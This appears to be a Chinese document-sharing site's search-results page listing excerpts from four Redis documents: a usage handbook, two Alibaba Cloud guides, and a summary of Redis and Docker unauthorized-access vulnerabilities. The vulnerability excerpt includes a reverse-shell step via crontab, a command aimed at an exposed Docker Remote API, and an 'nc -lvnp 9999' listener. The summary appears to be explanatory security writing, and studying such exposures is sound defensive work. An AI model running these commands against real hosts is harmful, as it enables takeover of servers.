《Redis使用手册》(试读版)之后我们会快速地了解本书各个章节的具体编排, 并完成⼀些学习 Redis 的前期准备⼯作, ⽐如安装 Redis 服 务器等等。 在⼀切准备就绪之后, 我们就会开始学习如何执⾏ Redis 命令, 以及如何通过配置选项对 Redis 服 务器进⾏配置。 在本章的最后, 我们还会看到获取本书示例代码的⽅法, 并知悉本书使⽤的 Redis 版本以及本书配套的读者服务 ⽹站。 1.1 Redis 简介 Redis 的所有命令都由⼀个命令名后跟任意多个参数以及可选项组成: COMMAND [arg1 arg2 arg3 ...] [[OPTION1 value1] [OPTION2 value2] [...]] 在本书中, 命令和可选项的名字通常以⼤写字⺟形式出现, ⽽命令参数和可选项的值则以⼩写字⺟形式出现。 ⽐ 如上例中的 COMMAND 就是命令的名字, ⽽ OPTION1 和 OPTION2 则是可选项的名字。 ⾄于 arg1 arg1 、 arg2 和 arg3 则 是命令的参数, ⽽ value1 和 value2 则是可选项的值。 命令描述中的⽅括号 [] 仅⽤于包围命令中可选的参数和选项, 在执⾏命令的时候并不需要给出这些⽅括号。 最 后, 命令描述中的 ... ⽤于表示命令接受任意数量的参数或可选项。 好的, 关于 Redis 命令格式的描述已经⾜够多了, 现在让我们来看⼀个实际的例⼦。 Redis 的 PING0 码力 | 352 页 | 6.57 MB | 1 年前3
阿里云云数据库 Redis 版 快速入门在任何一款可以编辑 Python 的编辑器中输入如下代码,即可连接建立通过本地客户端 redis-py 进 行数据库操作。 C/C++ 客户端 操作步骤如下所示: 下载并编译安装C客户端,编译安装代码如下所示: } $value = $redis->get("foo"); echo $value; ?> #!/usr/bin/env python #-*- coding: redisCommand(c,"INCR counter"); printf("INCR counter: %lld\n", reply->integer); 云数据库 Redis 版 快速入门 18 编译上述代码。 测试运行。 至此完成通过 C/C++ 客户端连接云数据库 Redis。 .net 客户端 操作步骤如下所示: 下载并使用.net 客户端。 ConnectionMultiplexer 是 StackExchange.Redis 的核心,它被整个应用程序共享和重用,应该设 置为单例,它的初始化如下: ConfigurationOptions 包含很多选项,例如 keepAlive、connectRetry、name 具体可以参考 StackExchange.Redis.ConfigurationOptions。 GetDatabase()返回的对象是轻量级的,每次用的时候从0 码力 | 29 页 | 1.07 MB | 1 年前3
常见Redis未授权访问漏洞总结io/releases/redis-2.8.17.tar.gz tar xzvf redis-2.8.17.tar.gz #解压安装包 cd redis-2.8.17 # 进入redis目录 make #编译 cd src/ #进入src目录 cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #将redis-server和redis-c -以最小普通权限身份运行操作系统。 Docker 未授权访问漏洞 漏洞简介以及危害 Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容 器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、 OpenStack 集群和其他的基础应用平台Docker。 Docker Remote API 是一个取代远程命令行界面(rcli)的REST 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限 docker-compose build && docker-compose up -d # 编译并启动环境 通过crontab反弹宿主机shell docker -H tcp://192.168.15.5:2375 version # vps监听9999端口 nc -lvnp 99990 码力 | 44 页 | 19.34 MB | 1 年前3
阿里云云数据库 Redis 版 产品简介unlink 命令,效果以及用法和 del 完全一样,但内存释放动作放到后台线程中执行。 flushdb/flushall flushdb/flushall 在 Redis 4.0 中引入了新选项,可以指定是否使用 Lazyfree 的方式来清空整个内存。 rename 执行 rename oldkey newkey 时,如果 newkey 已经存在,redis 会先删除已经存在的0 码力 | 33 页 | 1.88 MB | 1 年前3
共 4 条
- 1













